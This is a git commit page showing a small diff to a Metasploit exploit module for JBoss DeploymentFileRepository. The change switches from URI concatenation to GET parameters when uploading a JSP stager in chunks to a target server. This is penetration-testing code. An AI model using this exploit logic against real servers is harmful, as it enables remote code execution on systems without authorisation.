Skip to content

Commit 6342679

Browse files
author
Vincent Herbulot
committed
Use vars_get instead of direct URI concatenation
1 parent 041d44e commit 6342679

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/exploits/multi/http/jboss_deploymentfilerepository.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -129,17 +129,18 @@ def exploit
129129
print_status("Deploying minimal stager to upload the payload")
130130
head_stager_jsp_name = rand_text_alpha(8+rand(8))
131131
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
132-
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp?"
132+
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
133133
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
134134

135135
# We split the stager_jsp_code in multipe junks and transfer on the
136136
# target with multiple requests
137137
current_pos = 0
138138
while current_pos < stager_contents.length
139139
next_pos = current_pos + 5000 + rand(100)
140-
junk = "arg0=" + Rex::Text.uri_encode(stager_contents[current_pos,next_pos])
140+
vars_get = { "arg0" => stager_contents[current_pos,next_pos] }
141141
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
142-
res = deploy('uri' => head_stager_uri + junk)
142+
res = deploy('uri' => head_stager_uri,
143+
'vars_get' => vars_get)
143144
current_pos += next_pos
144145
end
145146
end

0 commit comments

Comments
 (0)